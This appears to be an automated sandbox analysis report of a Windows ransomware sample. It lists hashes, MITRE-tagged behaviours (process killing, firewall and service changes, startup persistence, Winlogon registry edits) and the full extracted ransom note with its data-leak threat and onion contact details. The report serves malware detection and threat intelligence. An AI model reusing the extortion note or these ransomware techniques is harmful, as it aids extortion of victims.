52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3

Analysis

max time kernel
83s
max time network
202s
platform
windows7_x64
resource
win7v20210408
submitted
06-09-2021 07:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
Size

254KB
MD5

d70181d031e35f86d26be56d230b7d4e
SHA1

27ad13e49541f0f9806a21ea825aab95fba11608
SHA256

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3
SHA512

ad97d1a955f864751ac7243c54d3c611507f7c541aa4a9761ff7b587545a3aee0d23faa24ecd983f71458b9307197cf062181dd51503cc05a6a3f741162cfb2e

Score

10^/10

discovery evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Ransom Note

!!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. !!!!!!!!! We backed up all your documents and databases. IF YOU NOT START DIALOGUE WITH US, WE WILL POST ALL YOUR DOCUMENTS AND DATABASES ON INTERNET. !!!!!!!!! We recommend you upload 3 encrypted files in https://privatlab.com/file and paste link to you message. We will demonstrate that we can recover your files. * Please note that files must not contain any valuable information. Do you really want to restore your files? 1) Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open website: http://sonarmsniko2lvfu.onion/?a=reg c) Register account d) Click Compose and write to us, our username: Prometheus, in message write Your key identifier (it is at the end of file) and file extension (forexample .TEST[[email protected]]) and link to 3 encrypted files in https://privatlab.com/file 2) Using a email Write to 3 emails address at once, in message write Your key identifier (it is at the end of file) and file extension (forexample .TEST[[email protected]]) and link to 3 encrypted files in https://privatlab.com/file : [email protected] [email protected] [email protected] We recommend using 1 method via TOR browser to contact us. Email letters may not reach us. Therefore, if you do not receive a response within 12 hours, please use method 1. * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam. * For our safety, all information about your server and your decryption key will be automaticaly DELETED AFTER 7 DAYS! You will irrevocably lose all your data! Key Identifier: Y5TSwUazPAzsV/47aMWYWPr+uuND67SrVwyV+hbSqWXS49Yze33sYkX5Up8/rY+S6nfIhXRC8M1djJNUHRJUCDdDLWT8mvm20Qlm3efByTlzs01C38jdAlUDYTvCzDHtSAAd5RnGHwq+4dizL0EUeJP4LnL8L8GrovOuVlnrWYhwNWQN2su1IHhxT95AQ4646ZNG3zALeEba+3PYuMVcrBX1WqEu10A4pCOn2520RlvVlIbX2ngyDADDzTMDOMeOI7ImXZtMriZK1TkxCjy483qvhxq1P4M8v7GLJcOhOn1UfVV+aWFd7d0AieesJMzZHy+atxXXIQqgYABVdj5kMUxS14a29i4zwARDyhgDrPO7cQh+79RnYDSpX8VyUBE8+qUlv4fqGXje+lCb2SnubhndcczPT9QPrDVfFEFfcBC2MVP3mV7Xae/hwMym+ewRH5pcJpiN5m9PZzXRuqMhhdc3teZIOiIUjNc2nh1biAfkxMiV96KbyHmgd6K0Sj8reL6ehFZ9HUowAueFiBttewNKkU2Dr7lYnBelXA0WhaAKXISLWo5koYPE7QtHWLr1XkF/R4uw6oELtjnYHaJGQWn5FPke5Kh0HcHEZZ0XvPpvCuETwknEU5Osv2VIBiEA20T/uocaVOdw8STaajxkWZnY91JnAPkU5jsrU3uzxYg=

Emails

TEST[[email protected]]

[email protected]

URLs

https://privatlab.com/file

http://sonarmsniko2lvfu.onion/?a=reg

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

Ransom Note

Emails

TEST[[email protected]]

[email protected]

URLs

https://privatlab.com/file

http://sonarmsniko2lvfu.onion/?a=reg

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exe

flow pid process

8 3984 mshta.exe
9 3984 mshta.exe
10 3984 mshta.exe
11 3984 mshta.exe
12 3984 mshta.exe
14 3984 mshta.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

4532 cmd.exe

flow	pid	process
8	3984	mshta.exe
9	3984	mshta.exe
10	3984	mshta.exe
11	3984	mshta.exe
12	3984	mshta.exe
14	3984	mshta.exe

pid	process
4532	cmd.exe

Drops startup file 1 IoCs

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

Modifies file permissions 1 TTPs 3 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

1596 icacls.exe
2588 icacls.exe
2076 icacls.exe

pid	process
1596	icacls.exe
2588	icacls.exe
2076	icacls.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "!!! ALL YOUR FILES ARE ENCRYPTED !!!\r\n\r\nAll your files, documents, photos, databases and other important files are encrypted.\r\n\r\nYou are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key.\r\nOnly we can give you this key and only we can recover your files.\r\n\r\n!!!!!!!!! We backed up all your documents and databases.\r\nIF YOU NOT START DIALOGUE WITH US, WE WILL POST ALL YOUR DOCUMENTS AND DATABASES ON INTERNET. !!!!!!!!!\r\n\r\nWe recommend you upload 3 encrypted files in https://privatlab.com/file and paste link to you message. We will demonstrate that we can recover your files.\r\n* Please note that files must not contain any valuable information.\r\n\r\nDo you really want to restore your files?\r\n\r\n1) Using a TOR browser!\r\na) Download and install TOR browser from this site: https://torproject.org/\r\nb) Open website: http://sonarmsniko2lvfu.onion/?a=reg\r\nc) Register account\u00a0\r\nd) Click Compose\u00a0 and write to us, our username: Prometheus, in message write Your key identifier (it is at the end of file) and file extension (forexample .TEST[[email protected]]) and link to 3 encrypted files in https://privatlab.com/file\r\n\r\n2) Using a email\r\nWrite to 3 emails address at once, in message write Your key identifier (it is at the end of file) and file extension (forexample .TEST[[email protected]])\u00a0and link to 3 encrypted files in https://privatlab.com/file :\r\[email protected]\r\[email protected]\r\[email protected]\r\n\r\nWe recommend using 1 method via TOR browser to contact us.\r\nEmail letters may not reach us. Therefore, if you do not receive a response within 12 hours, please use method 1.\r\n\r\n* Do not rename encrypted files.\r\n* Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n* Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.\r\n* For our safety, all information about your server and your decryption key will be automaticaly DELETED AFTER 7 DAYS! You will irrevocably lose all your data!"	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
844	taskkill.exe
3832	taskkill.exe
2072	taskkill.exe
2088	taskkill.exe
788	taskkill.exe
3204	taskkill.exe
2188	taskkill.exe
1092	taskkill.exe
3272	taskkill.exe
3052	taskkill.exe
3068	taskkill.exe
3196	taskkill.exe
1328	taskkill.exe
1308	taskkill.exe
3240	taskkill.exe
3108	taskkill.exe
2968	taskkill.exe
2960	taskkill.exe
3004	taskkill.exe
2172	taskkill.exe
2924	taskkill.exe
2452	taskkill.exe
3672	taskkill.exe
2284	taskkill.exe
1260	taskkill.exe
3020	taskkill.exe
2772	taskkill.exe
2900	taskkill.exe
2340	taskkill.exe
1892	taskkill.exe
1600	taskkill.exe
3140	taskkill.exe
2876	taskkill.exe
3028	taskkill.exe
2316	taskkill.exe
2756	taskkill.exe
2332	taskkill.exe
3152	taskkill.exe
2104	taskkill.exe
2460	taskkill.exe
3424	taskkill.exe
816	taskkill.exe
3848	taskkill.exe
3076	taskkill.exe
3864	taskkill.exe
3036	taskkill.exe
1804	taskkill.exe
2788	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

620 reg.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4928 PING.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
620	reg.exe

pid	process
4928	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

pid	process
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	2088	taskkill.exe
Token: SeDebugPrivilege	2924	taskkill.exe
Token: SeDebugPrivilege	3140	taskkill.exe
Token: SeDebugPrivilege	3152	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	2340	taskkill.exe
Token: SeDebugPrivilege	3424	taskkill.exe
Token: SeDebugPrivilege	816	taskkill.exe
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	2772	taskkill.exe
Token: SeDebugPrivilege	2188	taskkill.exe
Token: SeDebugPrivilege	2756	taskkill.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeDebugPrivilege	2332	taskkill.exe
Token: SeDebugPrivilege	3004	taskkill.exe
Token: SeDebugPrivilege	3848	taskkill.exe
Token: SeDebugPrivilege	2876	taskkill.exe
Token: SeDebugPrivilege	2316	taskkill.exe
Token: SeDebugPrivilege	3052	taskkill.exe
Token: SeDebugPrivilege	3068	taskkill.exe
Token: SeDebugPrivilege	1328	taskkill.exe
Token: SeDebugPrivilege	1600	taskkill.exe
Token: SeDebugPrivilege	1804	taskkill.exe
Token: SeDebugPrivilege	3272	taskkill.exe
Token: SeDebugPrivilege	1092	taskkill.exe
Token: SeDebugPrivilege	2072	taskkill.exe
Token: SeDebugPrivilege	2960	taskkill.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2452	taskkill.exe
Token: SeDebugPrivilege	2104	taskkill.exe
Token: SeDebugPrivilege	2460	taskkill.exe
Token: SeDebugPrivilege	2284	taskkill.exe
Token: SeDebugPrivilege	3832	taskkill.exe
Token: SeDebugPrivilege	3204	taskkill.exe
Token: SeDebugPrivilege	844	taskkill.exe
Token: SeDebugPrivilege	3672	taskkill.exe
Token: SeDebugPrivilege	3036	taskkill.exe
Token: SeDebugPrivilege	1308	taskkill.exe
Token: SeDebugPrivilege	2172	taskkill.exe
Token: SeDebugPrivilege	788	taskkill.exe
Token: SeDebugPrivilege	1260	taskkill.exe
Token: SeDebugPrivilege	3020	taskkill.exe
Token: SeDebugPrivilege	3240	taskkill.exe
Token: SeDebugPrivilege	3076	taskkill.exe
Token: SeDebugPrivilege	3108	taskkill.exe
Token: SeDebugPrivilege	3196	taskkill.exe
Token: SeDebugPrivilege	2788	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

pid	process
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

pid	process
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

description	pid	process	target process
PID 520 wrote to memory of 1892	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	taskkill.exe
PID 520 wrote to memory of 1892	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	taskkill.exe
PID 520 wrote to memory of 1892	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	taskkill.exe
PID 520 wrote to memory of 744	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	reg.exe
PID 520 wrote to memory of 744	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	reg.exe
PID 520 wrote to memory of 744	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	reg.exe
PID 520 wrote to memory of 620	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	reg.exe
PID 520 wrote to memory of 620	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	reg.exe
PID 520 wrote to memory of 620	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	reg.exe
PID 520 wrote to memory of 1684	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	schtasks.exe
PID 520 wrote to memory of 1684	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	schtasks.exe
PID 520 wrote to memory of 1684	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	schtasks.exe
PID 520 wrote to memory of 1692	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	cmd.exe
PID 520 wrote to memory of 1692	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	cmd.exe
PID 520 wrote to memory of 1692	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	cmd.exe
PID 520 wrote to memory of 1952	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	cmd.exe
PID 520 wrote to memory of 1952	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	cmd.exe
PID 520 wrote to memory of 1952	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	cmd.exe
PID 520 wrote to memory of 1296	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	netsh.exe
PID 520 wrote to memory of 1296	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	netsh.exe
PID 520 wrote to memory of 1296	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	netsh.exe
PID 520 wrote to memory of 1260	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	netsh.exe
PID 520 wrote to memory of 1260	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	netsh.exe
PID 520 wrote to memory of 1260	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	netsh.exe
PID 520 wrote to memory of 1308	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1308	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1308	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 112	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 112	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 112	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 864	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 864	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 864	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 968	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 968	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 968	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1536	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1536	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1536	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1168	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1168	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1168	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1328	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1328	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 1328	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 904	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 904	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 904	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	sc.exe
PID 520 wrote to memory of 960	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 960	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 960	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1140	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1140	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1140	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1964	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1964	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1964	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1164	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1164	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1164	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1248	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1248	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 1248	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe
PID 520 wrote to memory of 828	520	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Information..."	52f7f9e8369a3e89899d40e89766c9642b137b25bfd58a2b564dac67a40445f3.exe
